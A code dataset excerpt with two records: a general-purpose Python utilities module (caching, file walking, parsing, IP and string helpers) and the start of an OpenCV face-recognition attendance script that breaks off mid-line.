+{"seq_id":"32085861323","text":"import collections\nimport functools\nimport inspect\nimport ipaddress\nimport itertools\nimport logging\nimport os\nimport random\nimport re\nimport shutil\nimport string\nimport subprocess\nimport sys\nimport time\nimport unittest\nimport urllib.parse\nimport urllib.request\nimport weakref\n\nEMAIL_REGEX = re.compile(r'^[a-z0-9._%+-]+@[a-z0-9.-]+\\.[a-z]{2,6}$', flags=re.IGNORECASE)\n\nclass AttributeDict(dict):\n\t\"\"\"\n\tThis class allows dictionary keys to be accessed as attributes. For\n\texample: ``ad = AttributeDict(test=1); ad['test'] == ad.test``\n\t\"\"\"\n\t__getattr__ = dict.__getitem__\n\t__setattr__ = dict.__setitem__\n\nclass BruteforceGenerator(object):\n\t\"\"\"\n\tThis class allows itarating sequences for bruteforcing.\n\t\"\"\"\n\t# requirments = itertools\n\tdef __init__(self, startlen, endlen=None, charset=None):\n\t\t\"\"\"\n\t\t:param int startlen: The minimum sequence size to generate.\n\t\t:param int endlen: The maximum sequence size to generate.\n\t\t:param charset: The characters to include in the resulting sequences.\n\t\t\"\"\"\n\t\tself.startlen = startlen\n\t\tif endlen is None:\n\t\t\tself.endlen = startlen\n\t\telse:\n\t\t\tself.endlen = endlen\n\t\tif charset is None:\n\t\t\tcharset = list(map(chr, range(0, 256)))\n\t\telif isinstance(charset, str):\n\t\t\tcharset = list(charset)\n\t\telif isinstance(charset, bytes):\n\t\t\tcharset = list(map(chr, charset))\n\t\tcharset.sort()\n\t\tself.charset = tuple(charset)\n\t\tself.length = self.startlen\n\t\tself._product = itertools.product(self.charset, repeat=self.length)\n\t\tself._next = self.__next__\n\n\tdef __iter__(self):\n\t\treturn self\n\n\tdef __next__(self):\n\t\treturn self.next()\n\n\tdef next(self):\n\t\ttry:\n\t\t\tvalue = next(self._product)\n\t\texcept StopIteration:\n\t\t\tif self.length == self.endlen:\n\t\t\t\traise StopIteration\n\t\t\tself.length += 1\n\t\t\tself._product = itertools.product(self.charset, repeat=self.length)\n\t\t\tvalue = next(self._product)\n\t\treturn ''.join(value)\n\n_ArgSpec = collections.namedtuple('_ArgSpec', ('args', 'varargs', 'keywords', 'defaults'))\nclass Cache(object):\n\t\"\"\"\n\tThis class provides a simple to use cache object which can be applied\n\tas a decorator.\n\t\"\"\"\n\tdef __init__(self, timeout):\n\t\t\"\"\"\n\t\t:param timeout: The amount of time in seconds that a cached\n\t\t\tresult will be considered valid for.\n\t\t:type timeout: int, str\n\t\t\"\"\"\n\t\tif isinstance(timeout, str):\n\t\t\ttimeout = parse_timespan(timeout)\n\t\tself.cache_timeout = timeout\n\t\tself._target_function = None\n\t\tself._target_function_arg_spec = None\n\t\tself.__cache = {}\n\t\tself.__obj = None\n\n\tdef __get__(self, instance, _):\n\t\tself.__obj = instance\n\t\treturn self\n\n\tdef __call__(self, *args, **kwargs):\n\t\tif not getattr(self, '_target_function', False):\n\t\t\ttarget_function = args[0]\n\t\t\tif not inspect.isfunction(target_function) and not inspect.ismethod(target_function):\n\t\t\t\traise RuntimeError('the cached object must be a function or method')\n\t\t\targ_spec = inspect.getfullargspec(target_function)  # pylint: disable=W1505\n\t\t\targ_spec = _ArgSpec(args=arg_spec.args, varargs=arg_spec.varargs, keywords=arg_spec.kwonlyargs, defaults=arg_spec.defaults)\n\t\t\tif arg_spec.varargs or arg_spec.keywords:\n\t\t\t\traise RuntimeError('the cached function can not use dynamic args or kwargs')\n\t\t\tself._target_function = target_function\n\t\t\tself._target_function_arg_spec = arg_spec\n\t\t\treturn functools.wraps(target_function)(self)\n\n\t\tself.cache_clean()\n\t\tif self.__obj is not None:\n\t\t\targs = (self.__obj,) + args\n\t\t\tself.__obj = None\n\t\t\tis_method = True\n\t\telse:\n\t\t\tis_method = False\n\t\targs = self._flatten_args(args, kwargs)\n\t\tif is_method:\n\t\t\tinst = args.popleft()\n\t\t\targs = tuple(args)\n\t\t\tref = weakref.ref(inst, functools.partial(self._ref_callback, args))\n\t\t\tcache_args = (ref,) + args\n\t\t\targs = (inst,) + args\n\t\telse:\n\t\t\tcache_args = tuple(args)\n\t\t\targs = tuple(args)\n\t\tresult, expiration = self.__cache.get(cache_args, (None, 0))\n\t\tif expiration > time.time():\n\t\t\treturn result\n\t\tresult = self._target_function(*args)\n\t\tself.__cache[cache_args] = (result, time.time() + self.cache_timeout)\n\t\treturn result\n\n\tdef __repr__(self):\n\t\treturn \"<cached function {0} at 0x{1:x}>\".format(self._target_function.__name__, id(self._target_function))\n\n\tdef _flatten_args(self, args, kwargs):\n\t\tflattened_args = collections.deque(args)\n\t\targ_spec = self._target_function_arg_spec\n\n\t\targ_spec_defaults = (arg_spec.defaults or [])\n\t\tdefault_args = tuple(arg_spec.args[:-len(arg_spec_defaults)])\n\t\tdefault_kwargs = dict(zip(arg_spec.args[-len(arg_spec_defaults):], arg_spec_defaults))\n\n\t\tfor arg_id in range(len(args), len(arg_spec.args)):\n\t\t\targ_name = arg_spec.args[arg_id]\n\t\t\tif arg_name in default_args:\n\t\t\t\tif not arg_name in kwargs:\n\t\t\t\t\traise TypeError(\"{0}() missing required argument '{1}'\".format(self._target_function.__name__, arg_name))\n\t\t\t\tflattened_args.append(kwargs.pop(arg_name))\n\t\t\telse:\n\t\t\t\tflattened_args.append(kwargs.pop(arg_name, default_kwargs[arg_name]))\n\n\t\tif kwargs:\n\t\t\tunexpected_kwargs = tuple(\"'{0}'\".format(a) for a in kwargs.keys())\n\t\t\traise TypeError(\"{0}() got an unexpected keyword argument{1} {2}\".format(self._target_function.__name__, ('' if len(unexpected_kwargs) == 1 else 's'), ', '.join(unexpected_kwargs)))\n\t\treturn flattened_args\n\n\tdef _ref_callback(self, args, ref):\n\t\targs = (ref,) + args\n\t\tself.__cache.pop(args, None)\n\n\tdef cache_clean(self):\n\t\t\"\"\"\n\t\tRemove expired items from the cache.\n\t\t\"\"\"\n\t\tnow = time.time()\n\t\tkeys_for_removal = collections.deque()\n\t\tfor key, (_, expiration) in self.__cache.items():\n\t\t\tif expiration < now:\n\t\t\t\tkeys_for_removal.append(key)\n\t\tfor key in keys_for_removal:\n\t\t\tdel self.__cache[key]\n\n\tdef cache_clear(self):\n\t\t\"\"\"\n\t\tRemove all items from the cache.\n\t\t\"\"\"\n\t\tself.__cache = {}\n\nclass FileWalker(object):\n\t\"\"\"\n\tThis class is used to easily iterate over files and subdirectories of a\n\tspecified parent directory.\n\t\"\"\"\n\tdef __init__(self, filespath, absolute_path=False, skip_files=False, skip_dirs=False, filter_func=None, follow_links=False, max_depth=None):\n\t\t\"\"\"\n\t\t.. versionchanged:: 1.4.0\n\t\t\tAdded the *follow_links* and *max_depth* parameters.\n\n\t\t:param str filespath: A path to either a file or a directory. If\n\t\t\ta file is passed then that will be the only file returned\n\t\t\tduring the iteration. If a directory is passed, all files and\n\t\t\tsubdirectories will be recursively returned during the iteration.\n\t\t:param bool absolute_path: Whether or not the absolute path or a\n\t\t\trelative path should be returned.\n\t\t:param bool skip_files: Whether or not to skip files.\n\t\t:param bool skip_dirs: Whether or not to skip directories.\n\t\t:param function filter_func: If defined, the filter_func function will\n\t\t\tbe called for each path (with the path as the one and only argument)\n\t\t\tand if the function returns false the path will be skipped.\n\t\t:param bool follow_links: Whether or not to follow directories pointed\n\t\t\tto by symlinks.\n\t\t:param max_depth: A maximum depth to recurse into.\n\t\t\"\"\"\n\t\tif not (os.path.isfile(filespath) or os.path.isdir(filespath)):\n\t\t\traise Exception(filespath + ' is neither a file or directory')\n\t\tif absolute_path:\n\t\t\tself.filespath = os.path.abspath(filespath)\n\t\telse:\n\t\t\tself.filespath = os.path.relpath(filespath)\n\t\tself.skip_files = skip_files\n\t\tself.skip_dirs = skip_dirs\n\t\tself.filter_func = filter_func\n\t\tself.follow_links = follow_links\n\t\tself.max_depth = float('inf') if max_depth is None else max_depth\n\t\tif os.path.isdir(self.filespath):\n\t\t\tself._walk = None\n\t\t\tself._next = self._next_dir\n\t\telif os.path.isfile(self.filespath):\n\t\t\tself._next = self._next_file\n\n\tdef __iter__(self):\n\t\treturn self._next()\n\n\tdef _skip(self, cur_file):\n\t\tif self.skip_files and os.path.isfile(cur_file):\n\t\t\treturn True\n\t\tif self.skip_dirs and os.path.isdir(cur_file):\n\t\t\treturn True\n\t\tif self.filter_func is not None:\n\t\t\tif not self.filter_func(cur_file):\n\t\t\t\treturn True\n\t\treturn False\n\n\tdef _next_dir(self):\n\t\tfor root, dirs, files in os.walk(self.filespath, followlinks=self.follow_links):\n\t\t\tif root == self.filespath:\n\t\t\t\tdepth = 0\n\t\t\telse:\n\t\t\t\tdepth = os.path.relpath(root, start=self.filespath).count(os.path.sep) + 1\n\t\t\tif depth >= self.max_depth:\n\t\t\t\tcontinue\n\t\t\tfor entry in itertools.chain(dirs, files):\n\t\t\t\tcurrent_path = os.path.join(root, entry)\n\t\t\t\tif not self._skip(current_path):\n\t\t\t\t\tyield current_path\n\t\tif self.max_depth >= 0 and not self._skip(self.filespath):\n\t\t\tyield self.filespath\n\n\tdef _next_file(self):\n\t\tif self.max_depth >= 0 and not self._skip(self.filespath):\n\t\t\tyield self.filespath\n\nclass SectionConfigParser(object):\n\t\"\"\"\n\tProxy access to a section of a ConfigParser object.\n\t\"\"\"\n\t__version__ = '0.2'\n\tdef __init__(self, section_name, config_parser):\n\t\t\"\"\"\n\t\t:param str section_name: Name of the section to proxy access for.\n\t\t:param config_parser: ConfigParser object to proxy access for.\n\t\t:type config_parse: :py:class:`ConfigParser.ConfigParser`\n\t\t\"\"\"\n\t\tself.section_name = section_name\n\t\tself.config_parser = config_parser\n\n\tdef _get_raw(self, option, opt_type, default=None):\n\t\tget_func = getattr(self.config_parser, 'get' + opt_type)\n\t\tif default is None:\n\t\t\treturn get_func(self.section_name, option)\n\t\telif self.config_parser.has_option(self.section_name, option):\n\t\t\treturn get_func(self.section_name, option)\n\t\telse:\n\t\t\treturn default\n\n\tdef get(self, option, default=None):\n\t\t\"\"\"\n\t\tRetrieve *option* from the config, returning *default* if it\n\t\tis not present.\n\n\t\t:param str option: The name of the value to return.\n\t\t:param default: Default value to return if the option does not exist.\n\t\t\"\"\"\n\t\treturn self._get_raw(option, '', default)\n\n\tdef getint(self, option, default=None):\n\t\t\"\"\"\n\t\tRetrieve *option* from the config, returning *default* if it\n\t\tis not present.\n\n\t\t:param str option: The name of the value to return.\n\t\t:param default: Default value to return if the option does not exist.\n\t\t:rtype: int\n\t\t\"\"\"\n\t\treturn self._get_raw(option, 'int', default)\n\n\tdef getfloat(self, option, default=None):\n\t\t\"\"\"\n\t\tRetrieve *option* from the config, returning *default* if it\n\t\tis not present.\n\n\t\t:param str option: The name of the value to return.\n\t\t:param default: Default value to return if the option does not exist.\n\t\t:rtype: float\n\t\t\"\"\"\n\t\treturn self._get_raw(option, 'float', default)\n\n\tdef getboolean(self, option, default=None):\n\t\t\"\"\"\n\t\tRetrieve *option* from the config, returning *default* if it\n\t\tis not present.\n\n\t\t:param str option: The name of the value to return.\n\t\t:param default: Default value to return if the option does not exist.\n\t\t:rtype: bool\n\t\t\"\"\"\n\t\treturn self._get_raw(option, 'boolean', default)\n\n\tdef has_option(self, option):\n\t\t\"\"\"\n\t\tCheck that *option* exists in the configuration file.\n\n\t\t:param str option: The name of the option to check.\n\t\t:rtype: bool\n\t\t\"\"\"\n\t\treturn self.config_parser.has_option(self.section_name, option)\n\n\tdef options(self):\n\t\t\"\"\"\n\t\tGet a list of all options that are present in the section of the\n\t\tconfiguration.\n\n\t\t:return: A list of all set options.\n\t\t:rtype: list\n\t\t\"\"\"\n\t\treturn self.config_parser.options(self.section_name)\n\n\tdef items(self):\n\t\t\"\"\"\n\t\tReturn all options and their values in the form of a list of tuples.\n\n\t\t:return: A list of all values and options.\n\t\t:rtype: list\n\t\t\"\"\"\n\t\treturn self.config_parser.items(self.section_name)\n\n\tdef set(self, option, value):\n\t\t\"\"\"\n\t\tSet an option to an arbitrary value.\n\n\t\t:param str option: The name of the option to set.\n\t\t:param value: The value to set the option to.\n\t\t\"\"\"\n\t\tself.config_parser.set(self.section_name, option, value)\n\nclass TestCase(unittest.TestCase):\n\t\"\"\"\n\tThis class provides additional functionality over the built in\n\t:py:class:`unittest.TestCase` object, including better compatibility for\n\tmethods across Python 2.x and Python 3.x.\n\t\"\"\"\n\tdef __init__(self, *args, **kwargs):\n\t\tsuper(TestCase, self).__init__(*args, **kwargs)\n\t\tif not hasattr(self, 'assertRegex') and hasattr(self, 'assertRegexpMatches'):\n\t\t\tself.assertRegex = self.assertRegexpMatches\n\t\tif not hasattr(self, 'assertNotRegex') and hasattr(self, 'assertNotRegexpMatches'):\n\t\t\tself.assertNotRegex = self.assertNotRegexpMatches\n\t\tif not hasattr(self, 'assertRaisesRegex') and hasattr(self, 'assertRaisesRegexp'):\n\t\t\tself.assertRaisesRegex = self.assertRaisesRegexp\n\ndef configure_stream_logger(logger='', level=None, formatter='%(levelname)-8s %(message)s'):\n\t\"\"\"\n\tConfigure the default stream handler for logging messages to the console,\n\tremove other logging handlers, and enable capturing warnings.\n\n\t.. versionadded:: 1.3.0\n\n\t:param str logger: The logger to add the stream handler for.\n\t:param level: The level to set the logger to, will default to WARNING if no level is specified.\n\t:type level: None, int, str\n\t:param formatter: The format to use for logging messages to the console.\n\t:type formatter: str, :py:class:`logging.Formatter`\n\t:return: The new configured stream handler.\n\t:rtype: :py:class:`logging.StreamHandler`\n\t\"\"\"\n\tlevel = level or logging.WARNING\n\tif isinstance(level, str):\n\t\tlevel = getattr(logging, level, None)\n\t\tif level is None:\n\t\t\traise ValueError('invalid log level: ' + level)\n\troot_logger = logging.getLogger('')\n\tfor handler in root_logger.handlers:\n\t\troot_logger.removeHandler(handler)\n\n\tlogging.getLogger(logger).setLevel(logging.DEBUG)\n\tconsole_log_handler = logging.StreamHandler()\n\tconsole_log_handler.setLevel(level)\n\tif isinstance(formatter, str):\n\t\tformatter = logging.Formatter(formatter)\n\telif not isinstance(formatter, logging.Formatter):\n\t\traise TypeError('formatter must be an instance of logging.Formatter')\n\tconsole_log_handler.setFormatter(formatter)\n\tlogging.getLogger(logger).addHandler(console_log_handler)\n\tlogging.captureWarnings(True)\n\treturn console_log_handler\n\ndef download(url, filename=None):\n\t\"\"\"\n\tDownload a file from a url and save it to disk.\n\n\t:param str url: The URL to fetch the file from.\n\t:param str filename: The destination file to write the data to.\n\t\"\"\"\n\t# requirements os, shutil, urllib.parse, urllib.request\n\tif not filename:\n\t\turl_parts = urllib.parse.urlparse(url)\n\t\tfilename = os.path.basename(url_parts.path)\n\turl_h = urllib.request.urlopen(url)\n\twith open(filename, 'wb') as file_h:\n\t\tshutil.copyfileobj(url_h, file_h)\n\turl_h.close()\n\treturn\n\ndef escape_single_quote(unescaped):\n\t\"\"\"\n\tEscape a string containing single quotes and backslashes with backslashes.\n\tThis is useful when a string is evaluated in some way.\n\n\t:param str unescaped: The string to escape.\n\t:return: The escaped string.\n\t:rtype: str\n\t\"\"\"\n\t# requirements = re\n\treturn re.sub(r'(\\'|\\\\)', r'\\\\\\1', unescaped)\n\ndef format_bytes_size(val):\n\t\"\"\"\n\tTake a number of bytes and convert it to a human readable number.\n\n\t:param int val: The number of bytes to format.\n\t:return: The size in a human readable format.\n\t:rtype: str\n\t\"\"\"\n\tif not val:\n\t\treturn '0 bytes'\n\tfor sz_name in ['bytes', 'KB', 'MB', 'GB', 'TB', 'PB', 'EB']:\n\t\tif val < 1024.0:\n\t\t\treturn \"{0:.2f} {1}\".format(val, sz_name)\n\t\tval /= 1024.0\n\traise OverflowError()\n\ndef grep(expression, file, flags=0, invert=False):\n\t\"\"\"\n\tSearch a file and return a list of all lines that match a regular expression.\n\n\t:param str expression: The regex to search for.\n\t:param file: The file to search in.\n\t:type file: str, file\n\t:param int flags: The regex flags to use when searching.\n\t:param bool invert: Select non matching lines instead.\n\t:return: All the matching lines.\n\t:rtype: list\n\t\"\"\"\n\t# requirements = re\n\tif isinstance(file, str):\n\t\tfile = open(file)\n\tlines = []\n\tfor line in file:\n\t\tif bool(re.search(expression, line, flags=flags)) ^ invert:\n\t\t\tlines.append(line)\n\treturn lines\n\ndef is_valid_email_address(email_address):\n\t\"\"\"\n\tCheck that the string specified appears to be a valid email address.\n\n\t:param str email_address: The email address to validate.\n\t:return: Whether the email address appears to be valid or not.\n\t:rtype: bool\n\t\"\"\"\n\t# requirements = re\n\treturn EMAIL_REGEX.match(email_address) != None\n\ndef get_ip_list(ip_network, mask=None):\n\t\"\"\"\n\tQuickly convert an IPv4 or IPv6 network (CIDR or Subnet) to a list\n\tof individual IPs in their string representation.\n\n\t:param str ip_network:\n\t:param int mask:\n\t:return: list\n\t\"\"\"\n\tif mask and '/' not in ip_network:\n\t\tnet = ipaddress.ip_network(\"{0}/{1}\".format(ip_network, mask))\n\telif '/' not in ip_network:\n\t\treturn [str(ipaddress.ip_address(ip_network))]\n\telse:\n\t\tnet = ipaddress.ip_network(ip_network)\n\thosts = net.hosts()\n\tif net.netmask == ipaddress.IPv4Address('255.255.255.255') and sys.version_info > (3, 9):\n\t\t# see: https://github.com/zeroSteiner/smoke-zephyr/issues/8\n\t\thosts = []\n\treturn [host.__str__() for host in hosts]\n\ndef sort_ipv4_list(ip_list, unique=True):\n\t\"\"\"\n\tSorts a provided list of IPv4 addresses. Optionally can remove duplicate values\n\tSupports IPv4 addresses with ports included (ex: [10.11.12.13:80, 10.11.12.13:8080])\n\n\t:param ip_list: (list) iterable of IPv4 Addresses\n\t:param unique: (bool) removes duplicate values if true\n\t:return: sorted list of IP addresses\n\t\"\"\"\n\tif unique:\n\t\tip_list = list(set(ip_list))\n\tipv4_list = sorted([i.rstrip(':') for i in ip_list], key=lambda ip: (\n\t\tint(ip.split(\".\")[0]),\n\t\tint(ip.split(\".\")[1]),\n\t\tint(ip.split(\".\")[2]),\n\t\tint(ip.split(\".\")[3].split(':')[0]),\n\t\tint(ip.split(\":\")[1]) if \":\" in ip else 0\n\t))\n\treturn ipv4_list\n\ndef open_uri(uri):\n\t\"\"\"\n\tOpen a URI in a platform intelligent way. On Windows this will use\n\t'cmd.exe /c start' and on Linux this will use gvfs-open or xdg-open\n\tdepending on which is available. If no suitable application can be\n\tfound to open the URI, a RuntimeError will be raised.\n\n\t.. versionadded:: 1.3.0\n\n\t:param str uri: The URI to open.\n\t\"\"\"\n\tclose_fds = True\n\tstartupinfo = None\n\tproc_args = []\n\tif sys.platform.startswith('win'):\n\t\tproc_args.append(which('cmd.exe'))\n\t\tproc_args.append('/c')\n\t\tproc_args.append('start')\n\t\turi = uri.replace('&', '^&')\n\t\tclose_fds = False\n\t\tstartupinfo = subprocess.STARTUPINFO()\n\t\tstartupinfo.dwFlags |= subprocess.STARTF_USESHOWWINDOW\n\t\tstartupinfo.wShowWindow = subprocess.SW_HIDE\n\telif which('gvfs-open'):\n\t\tproc_args.append(which('gvfs-open'))\n\telif which('xdg-open'):\n\t\tproc_args.append(which('xdg-open'))\n\telse:\n\t\traise RuntimeError('could not find suitable application to open uri')\n\tproc_args.append(uri)\n\tproc_h = subprocess.Popen(proc_args, stdin=subprocess.PIPE, stdout=subprocess.PIPE, stderr=subprocess.PIPE, close_fds=close_fds, startupinfo=startupinfo)\n\treturn proc_h.wait() == 0\n\ndef parse_case_camel_to_snake(camel):\n\t\"\"\"\n\tConvert a string from CamelCase to snake_case.\n\n\t:param str camel: The CamelCase string to convert.\n\t:return: The snake_case version of string.\n\t:rtype: str\n\t\"\"\"\n\t# requirements = re\n\treturn re.sub('((?<=[a-z0-9])[A-Z]|(?!^)[A-Z](?=[a-z]))', r'_\\1', camel).lower()\n\ndef parse_case_snake_to_camel(snake, upper_first=True):\n\t\"\"\"\n\tConvert a string from snake_case to CamelCase.\n\n\t:param str snake: The snake_case string to convert.\n\t:param bool upper_first: Whether or not to capitalize the first\n\t\tcharacter of the string.\n\t:return: The CamelCase version of string.\n\t:rtype: str\n\t\"\"\"\n\tsnake = snake.split('_')\n\tfirst_part = snake[0]\n\tif upper_first:\n\t\tfirst_part = first_part.title()\n\treturn first_part + ''.join(word.title() for word in snake[1:])\n\ndef parse_server(server, default_port):\n\t\"\"\"\n\tConvert a server string to a tuple suitable for passing to connect, for\n\texample converting 'www.google.com:443' to ('www.google.com', 443).\n\n\t:param str server: The server string to convert.\n\t:param int default_port: The port to use in case one is not specified\n\t\tin the server string.\n\t:return: The parsed server information.\n\t:rtype: tuple\n\t\"\"\"\n\tserver = server.rsplit(':', 1)\n\thost = server[0]\n\tif host.startswith('[') and host.endswith(']'):\n\t\thost = host[1:-1]\n\tif len(server) == 1:\n\t\treturn (host, default_port)\n\tport = server[1]\n\tif not port:\n\t\tport = default_port\n\telse:\n\t\tport = int(port)\n\treturn (host, port)\n\ndef parse_timespan(timedef):\n\t\"\"\"\n\tConvert a string timespan definition to seconds, for example converting\n\t'1m30s' to 90. If *timedef* is already an int, the value will be returned\n\tunmodified.\n\n\t:param timedef: The timespan definition to convert to seconds.\n\t:type timedef: int, str\n\t:return: The converted value in seconds.\n\t:rtype: int\n\t\"\"\"\n\tif isinstance(timedef, int):\n\t\treturn timedef\n\tconverter_order = ('w', 'd', 'h', 'm', 's')\n\tconverters = {\n\t\t'w': 604800,\n\t\t'd': 86400,\n\t\t'h': 3600,\n\t\t'm': 60,\n\t\t's': 1\n\t}\n\ttimedef = timedef.lower()\n\tif timedef.isdigit():\n\t\treturn int(timedef)\n\telif len(timedef) == 0:\n\t\treturn 0\n\tseconds = -1\n\tfor spec in converter_order:\n\t\ttimedef = timedef.split(spec)\n\t\tif len(timedef) == 1:\n\t\t\ttimedef = timedef[0]\n\t\t\tcontinue\n\t\telif len(timedef) > 2 or not timedef[0].isdigit():\n\t\t\tseconds = -1\n\t\t\tbreak\n\t\tadjustment = converters[spec]\n\t\tseconds = max(seconds, 0)\n\t\tseconds += (int(timedef[0]) * adjustment)\n\t\ttimedef = timedef[1]\n\t\tif not len(timedef):\n\t\t\tbreak\n\tif seconds < 0:\n\t\traise ValueError('invalid time format')\n\treturn seconds\n\ndef parse_to_slug(words, maxlen=24):\n\t\"\"\"\n\tParse a string into a slug format suitable for use in URLs and other\n\tcharacter restricted applications. Only utf-8 strings are supported at this\n\ttime.\n\n\t:param str words: The words to parse.\n\t:param int maxlen: The maximum length of the slug.\n\t:return: The parsed words as a slug.\n\t:rtype: str\n\t\"\"\"\n\tslug = ''\n\tmaxlen = min(maxlen, len(words))\n\tfor c in words:\n\t\tif len(slug) == maxlen:\n\t\t\tbreak\n\t\tc = ord(c)\n\t\tif c == 0x27:\n\t\t\tcontinue\n\t\telif c >= 0x30 and c <= 0x39:\n\t\t\tslug += chr(c)\n\t\telif c >= 0x41 and c <= 0x5a:\n\t\t\tslug += chr(c + 0x20)\n\t\telif c >= 0x61 and c <= 0x7a:\n\t\t\tslug += chr(c)\n\t\telif len(slug) and slug[-1] != '-':\n\t\t\tslug += '-'\n\tif len(slug) and slug[-1] == '-':\n\t\tslug = slug[:-1]\n\treturn slug\n\ndef random_string_alphanumeric(size):\n\t\"\"\"\n\tGenerate a random string of *size* length consisting of mixed case letters\n\tand numbers. This function is not meant for cryptographic purposes.\n\n\t:param int size: The length of the string to return.\n\t:return: A string consisting of random characters.\n\t:rtype: str\n\t\"\"\"\n\t# requirements = random, string\n\treturn ''.join(random.choice(string.ascii_letters + string.digits) for x in range(size))\n\ndef random_string_lower_numeric(size):\n\t\"\"\"\n\tGenerate a random string of *size* length consisting of lowercase letters\n\tand numbers. This function is not meant for cryptographic purposes.\n\n\t:param int size: The length of the string to return.\n\t:return: A string consisting of random characters.\n\t:rtype: str\n\t\"\"\"\n\t# requirements = random, string\n\treturn ''.join(random.choice(string.ascii_lowercase + string.digits) for x in range(size))\n\ndef selection_collision(selections, poolsize):\n\t\"\"\"\n\tCalculate the probability that two random values selected from an arbitrary\n\tsized pool of unique values will be equal. This is commonly known as the\n\t\"Birthday Problem\".\n\n\t:param int selections: The number of random selections.\n\t:param int poolsize: The number of unique random values in the pool to choose from.\n\t:rtype: float\n\t:return: The chance that a collision will occur as a percentage.\n\t\"\"\"\n\t# requirments = sys\n\tprobability = 100.0\n\tpoolsize = float(poolsize)\n\tfor i in range(selections):\n\t\tprobability = probability * (poolsize - i) / poolsize\n\tprobability = (100.0 - probability)\n\treturn probability\n\ndef unescape_single_quote(escaped):\n\t\"\"\"\n\tUnescape a string which uses backslashes to escape single quotes.\n\n\t:param str escaped: The string to unescape.\n\t:return: The unescaped string.\n\t:rtype: str\n\t\"\"\"\n\tescaped = escaped.replace('\\\\\\\\', '\\\\')\n\tescaped = escaped.replace('\\\\\\'', '\\'')\n\treturn escaped\n\ndef unique(seq, key=None):\n\t\"\"\"\n\tCreate a unique list or tuple from a provided list or tuple and preserve the\n\torder.\n\n\t:param seq: The list or tuple to preserve unique items from.\n\t:type seq: list, tuple\n\t:param key: If key is provided it will be called during the\n\t\tcomparison process.\n\t:type key: function, None\n\t\"\"\"\n\tif key is None:\n\t\tkey = lambda x: x\n\tpreserved_type = type(seq)\n\tif preserved_type not in (list, tuple):\n\t\traise TypeError(\"unique argument 1 must be list or tuple, not {0}\".format(preserved_type.__name__))\n\tseen = []\n\tresult = []\n\tfor item in seq:\n\t\tmarker = key(item)\n\t\tif marker in seen:\n\t\t\tcontinue\n\t\tseen.append(marker)\n\t\tresult.append(item)\n\treturn preserved_type(result)\n\ndef weighted_choice(choices, weight):\n\t\"\"\"\n\tMake a random selection from the specified choices. Apply the *weight*\n\tfunction to each to return a positive integer representing shares of\n\tselection pool the choice should received. The *weight* function is passed a\n\tsingle argument of the choice from the *choices* iterable.\n\n\t:param choices: The choices to select from.\n\t:type choices: list, tuple\n\t:param weight: The function used for gather weight information for choices.\n\t:type weight: function\n\t:return: A randomly selected choice from the provided *choices*.\n\t\"\"\"\n\t# requirements = random\n\tweights = []\n\t# get weight values for each of the choices\n\tfor choice in choices:\n\t\tchoice_weight = weight(choice)\n\t\tif not (isinstance(choice_weight, int) and choice_weight > 0):\n\t\t\traise TypeError('weight results must be positive integers')\n\t\tweights.append(choice_weight)\n\n\t# make a selection within the acceptable range\n\tselection = random.randint(0, sum(weights) - 1)\n\n\t# find and return the corresponding choice\n\tfor idx, choice in enumerate(choices):\n\t\tif selection < sum(weights[:idx + 1]):\n\t\t\treturn choice\n\traise RuntimeError('no selection could be made')\n\ndef which(program):\n\t\"\"\"\n\tLocate an executable binary's full path by its name.\n\n\t:param str program: The executables name.\n\t:return: The full path to the executable.\n\t:rtype: str\n\t\"\"\"\n\t# requirements = os\n\tis_exe = lambda fpath: (os.path.isfile(fpath) and os.access(fpath, os.X_OK))\n\tfor path in os.environ['PATH'].split(os.pathsep):\n\t\tpath = path.strip('\"')\n\t\texe_file = os.path.join(path, program)\n\t\tif is_exe(exe_file):\n\t\t\treturn exe_file\n\tif is_exe(program):\n\t\treturn os.path.abspath(program)\n\treturn None\n\ndef xfrange(start, stop=None, step=1):\n\t\"\"\"\n\tIterate through an arithmetic progression.\n\n\t:param start: Starting number.\n\t:type start: float, int, long\n\t:param stop: Stopping number.\n\t:type stop: float, int, long\n\t:param step: Stepping size.\n\t:type step: float, int, long\n\t\"\"\"\n\tif stop is None:\n\t\tstop = start\n\t\tstart = 0.0\n\tstart = float(start)\n\twhile start < stop:\n\t\tyield start\n\t\tstart += step\n","repo_name":"zeroSteiner/smoke-zephyr","sub_path":"smoke_zephyr/utilities.py","file_name":"utilities.py","file_ext":"py","file_size_in_byte":26066,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"51"}
+{"seq_id":"41530227932","text":"import datetime\r\nfrom datetime import date\r\nimport time\r\nimport os\r\nimport mysql.connector\r\nimport cv2\r\nimport numpy\r\nimport os\r\nimport imutils\r\n\r\ncon = mysql.connector.connect(host=\"localhost\",user=\"****\",password=\"****\",database=\"****\") # pls give ur username, password and database name \r\ncur = con.cursor()\r\n\r\nregister = []   # type the students name here, those who are not in this register list are not allowed to enter the class\r\npresenters = []    # don't write anything it'll append the names who are all present \r\n\r\nname=\"\"\r\nname_of_person = \"\"\r\n\r\ndef face_authentication():\r\n    global name_of_person\r\n    name_check = input(\"Enter your name for authentication : \")     # its only for authentication purpose\r\n    print(\"Please show your face to camera for security purpose\")\r\n    haar_file=\"haarcascade_frontalface_default.xml\"     # pls mention the correct directory of XML file   \r\n    face_cascade=cv2.CascadeClassifier(haar_file)\r\n    datasets=\"datasets\"    # pls mention the correct directory for datasets\r\n    (images,labels,names,id)=([],[],{},0)\r\n    cam=cv2.VideoCapture(0)\r\n    for (subdirs,dirs,files) in os.walk(datasets):\r\n        for subdir in dirs:\r\n            names[id]=subdir\r\n            subjectpath=os.path.join(datasets,subdir)\r\n            for filename in os.listdir(subjectpath):\r\n                path=subjectpath + '/' + filename\r\n                label=id\r\n                images.append(cv2.imread(path,0))\r\n                labels.append(int(label))\r\n            id+=1\r\n    (width,height)=(130,100)\r\n    (images,labels)=[numpy.array(lis) for lis in [images,labels]]\r\n    model=cv2.face.FisherFaceRecognizer_create()\r\n    model.train(images,labels)\r\n    print(\"Detecting student's face\")\r\n    cnt=0\r\n    while True:\r\n        img=cam.read()[1]\r\n        gray=cv2.cvtColor(img,cv2.COLOR_BGR2GRAY)\r\n        faces=face_cascade.detectMultiScale(gray,1.3,5)\r\n        for (x,y,w,h) in faces:\r\n            cv2.rectangle(img,(x,y),(x+w,y+h),(255,255,0),2)\r\n            face=gray[y:y+h,x:x+w]\r\n            face_resize=cv2.resize(face,(width,height))\r\n            prediction=model.predict(face_resize)\r\n            cv2.rectangle(img,(x,y),(x+w,y+h),(0,255,0),3)\r\n            if prediction[1]<800:\r\n                cv2.putText(img,\"%s-%.0f\"% 